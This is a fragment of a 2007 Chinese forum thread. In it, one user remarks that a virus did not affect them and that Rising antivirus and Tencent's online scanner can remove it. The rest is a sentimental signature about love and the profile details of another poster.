偶用负位法上幻想,这病毒对我来说不起作用.最新版的瑞星能杀.还有TX安全中心的在线查杀也能杀.
在爱情里，从来不是以你征服了多少数量的异性为

胜利的，也不是以你通过爱情得到了某些物质利益

来诠释幸福的。真正幸福的人们，是茫茫人海里，

有一个人，纯粹地爱你，无怨无悔无要求地

把你放在胸口的位置——遗憾的是，

拥有这样幸福的人很少很少，

所以，如果你遇到了，请记得一定要珍惜。
回复 引用

TOP

BB

Rank: 18Rank: 18Rank: 18Rank: 18Rank: 18Rank: 18

UID
5325 
帖子
752 
积分
408 
紫菀
0 朵 
花瓣
27 片 
花蕊
22 朵 
野草莓
1 个 
蒲公英
1 朵 
社区等级
18 级 
在线时间
117 小时 
注册时间
2007-1-14 
蜗居何地
海丰 
登录状态
当前离线
10楼
发表于 2007-2-11 23:56 | 只看该作者
回复 引用

TOP

1234
返回列表